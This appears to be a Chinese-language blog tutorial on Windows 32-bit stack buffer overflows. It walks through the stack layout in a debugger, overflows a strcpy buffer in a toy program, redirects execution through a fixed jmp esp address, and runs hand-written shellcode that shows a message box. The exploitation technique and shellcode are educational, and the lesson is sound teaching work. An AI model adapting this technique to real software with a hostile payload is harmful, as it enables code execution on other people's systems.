WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

Windows缓冲区栈溢出入门学习

0x01 基础知识

程序在运行中都有一块栈空间,这块栈本质就是一块内存,栈空间主要用来存放函数的参数和一些临时变量,函数在执行的时候会先把参数push到栈中,到所有参数都入栈会用call执行函数

当然这个栈空间也是有大小的,需要有东西来确定这个栈从哪来开始到哪里,不然整个内存都变成栈了

这里就引出了ESP和EBP寄存器,这是在32位系统的

ESP存放栈顶,EBP存放栈底,这样就可以确定一块栈的大小

可能讲的不是很清楚,没事后面会有截图的

0x02 在dbg中观察栈

先整个messagebox的程序观察一下函数的调用和栈空间

1
2
3
4
5
6
7
8
#include"stdafx.h"
#include<windows.h>

int main(int argc, char* argv[])
{
MessageBoxA(NULL, "helloworld","helloworld", MB_OK);
return 0;
}

1
2
3
4
5
push 0									;MB_OK宏定义就是0
push helloworld.406030 ;指向Text值的指针
push helloworld.406030 ;指向title值的指针
push 0 ;MessageBoxA的第一个参数NULL就是0
call dword ptr ds:[<&MessageBoxA>] ;调用MessageBoxA函数

走到call这里可以看到参数已经全部入栈了

然后F7走到call里面

这里要说一下call的作用就是将下一个要执行的指令的地址压入栈中,然后jmp到call的地址

这里是已经call进去了,可以看到栈顶是返回地址也就是这个函数执行完要回去的地址

这里别的都不用看,只要看这个ret就好

ret的如果改为别的汇编指令就是jmp到栈顶的这个地址,然后pop把地址栈顶地址弹出来

这里的ret 10是指还要多弹出16字节,因为前面压入了四个参数,参数都是四字节的,4x4=16把参数也全部取出来,这就是堆栈平衡

在上图右下角栈区0012FF84这个位置可以看到还有个返回地址,这个函数地址是main函数的

那如果有个函数的参数大小超出了缓冲区把main函数的返回地址覆盖了,最后main函数在执行ret的时候就会跳到被覆盖的地址,这就是缓冲区溢出

0x03 缓冲区溢出

1
2
3
4
5
6
7
8
9
10
11
#include"stdafx.h"
#include<windows.h>
char name[] = "abcdabcd";
int main(int argc, char* argv[])
{

char output[8];
strcpy(output, name);
printf("%s", output);
return 0;
}

这个程序很简单,就是把name数组的八个字符用strcpy复制到output中

但是这里output只能存8个字符,要是多了就会出现溢出漏洞

先来看一遍程序的正常执行吧

首先到这里进主函数

记录一下这里的下一条指令地址是401699,然后F7进入函数

可以看到已经把call的下一个的指令的地址压入栈顶

然后来看一下后面的汇编代码,这里的jmp就不看了,就是跳到401010的位置然后开始正常执行

1
2
3
4
5
6
7
8
9
10
push ebp					;
mov ebp,esp
sub esp,48
push ebx
push esi
push edi
lea edi,dword ptr ss:[ebp-48]
mov ecx,12
mov eax,CCCCCCCC
rep stosd ;上面这块全部都是提升堆栈,在堆栈中填满cccccccc这样如果程序不小心走到这里不会发生别的什么事只会被断下

这里可以看到00425A30中存放的abcdabcd,0012FF78-0012FF7C是CCCCCCCC

1
2
3
4
push shell.425A30				;这个地址是全局变量abcdabcd存放的地址,把这个地址压入栈中
lea eax,dword ptr ss:[ebp-8] ;把ebp-8的地址放入eax中
push eax ;把这个地址压入栈中
call shell.401480 ;调用strcpy

可以看到执行完这个函数0012FF78-0012FF7C已经存入了abcdabcd

到这里需要注意的就差不多了,想了解一下strcpy怎么实现的可以看后面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
push esi							;提升栈顶
push edi ;提升栈顶
mov dword ptr ss:[esp+10],eax ;将eax中的数据放入esp+10的位置
mov dword ptr ss:[esp+14],ecx ;将ecx中的数据放入esp+14的位置
;这里的eax和ecx都是abcd
lea edi,dword ptr ss:[esp+10] ;将esp+10的地址放入edi中
or ecx,FFFFFFFF ;将ecx改为FFFFFFFF
xor eax,eax ;eax置零
mov byte ptr ss:[esp+18],dl ;将dl的值放入esp+18的位置
;这是为了截断字符串,esp+10开始就是abcdabcd,如果esp+18不为0的话后面计算字符串商都就会出现错误
lea edx,dword ptr ss:[esp+8] ;将esp+8位置的地址放入edx中
repne scasb
;这条指令挺有意思的,简单说会对edi指向的内容进行扫描,读一个字节ecx-1,读到和eax相同的值就停止,DF来确定是向上读还是向下读,这里eax置零了,所以匹配到00这个指令就会结束,用来得到字符串长度
not ecx ;这时候ECX的值经过上面的指令已经变成FFFFFFF6,然后取反得到了字符串的长度
sub edi,ecx ;edi减去字符串的长度又重新指向了abcdabcd了
mov eax,ecx ;将长度存入eax
mov esi,edi ;将edi的值存入esi
mov edi,edx ;将edx的值存入edi,这里edx的值是esp+8中的内容
shr ecx,2 ;ecx右移2次,1001->0010
rep movsd ;这条指令也是可以可以改成很多步骤的
;这里是sd所以是4字节的,还有sw2字节,sb一字节,这条指令会把esi中的内容复制到edi然后esi和edi同时加4字节,根据ecx来决定执行几次,上面ecx为2,所以把esi指向的后面8字节的内容复制到了edi中
mov ecx,eax ;eax放入ecx
and ecx,3 ;逻辑与这里ecx为1
rep movsb ;和上面类似这里是sb复制一字节就够了,这里复制的是00为了截断字符串这样后面调用printf的时候不输出多余的字符

这段和上面的程序没什么关系,就是strcpy的实现过程

观察一下上面的图在abcdabcd的+8位置就是main函数的返回地址,abcdabcd又是可控的,如果将字符串加长变为abcdabcdaaaaaaaa就会覆盖掉函数的返回地址,实现溢出漏洞

下面改一下代码看程序的不正常运行

1
2
3
4
5
6
7
8
9
10
11
12
#include"stdafx.h"
#include<windows.h>
char name[] = "abcdabcdaaaaaaaa";
int main(int argc, char* argv[])
{

char output[8];
strcpy(output, name);
printf("%s", output);

return 0;
}

这里可以看到aaaa已经覆盖掉了函数的返回地址

ret要执行栈顶的地址,这时候栈顶已经是aaaa,会导致程序跳到一个不知道什么的地方最后报错

栈溢出肯定不是为了让程序报错的,需要调整一下输入实现执行别的代码

这里需要用到jmp esp,因为esp后面的数据也是可控的

当然jmp esp怎么来是问题

程序在加载过程中肯定会加载一些必须要用的dll

像kernel32.dll,ntdll.dll,这时候就可以用到这些dll中的指令

这里就用网上通用的jmp esp地址0x7ffa4512

正常的汇编中肯定不会有jmp esp这种指令的

1
2
3
4
5
6
7FFA4511             | E4 FF             | in al,FF
7FFA4513 | E4 00 | in al,0

;如果从7FFA4511看这条指令是in al,FF
;但是0x7ffa4512看就是FFE4指令是jmp esp
;所以不要直接用x32dbg搜索jmp esp指令,要直接匹配机器指令

下面改一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include"stdafx.h"
#include<windows.h>
char name[] = "abcdabcdaaaa"
"\x12\x45\xfa\x7f"; //jmp esp地址
int main(int argc, char* argv[])
{

char output[8];
strcpy(output, name);
printf("%s", output);

return 0;
}

执行一下可以看到返回地址已经被改成jmp esp的地址

后面就可以加上shellcode了,这里的话就用messagebox了,因为winxp没有ASLR所以地址都是固定的,这里就不用PEB找kernel32了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include"stdafx.h"
#include<windows.h>
char name[] = "abcdabcdaaaa"
"\x12\x45\xfa\x7f" //jmp esp
"\x31\xd2" //xor edx,edx
"\x52" //push edx
"\x68\x74\x65\x78\x74" //push 0x74780074 text
"\x89\xe0" //mov eax, esp
"\x52" //push edx
"\x6a\x65" //push 0x65
"\x68\x74\x69\x74\x6c" //push 0x6C746974 title
"\x89\xe3" //mov ebx,esp
"\x52" //push edx
"\x53" //push ebx
"\x50" //push eax
"\x52" //push edx
"\xb8\xea\x07\xd5\x77" //mov eax,MsgA
"\xff\xd0" //call eax
"\xb8\xfa\xca\x81\x7c" //mov eax, exit
"\x52" //push edx
"\xff\xd0" //call eax;
int main(int argc, char* argv[])
{
LoadLibraryA("user32.dll"); //这里是偷懒了,直接加载了user32.dll这样shellcode可以少调用一个函数
char output[8];
strcpy(output, name);
printf("%s", output);

return 0;
}

这里调用了MessageBoxA和ExitProcess以保证程序正常退出

最终效果如下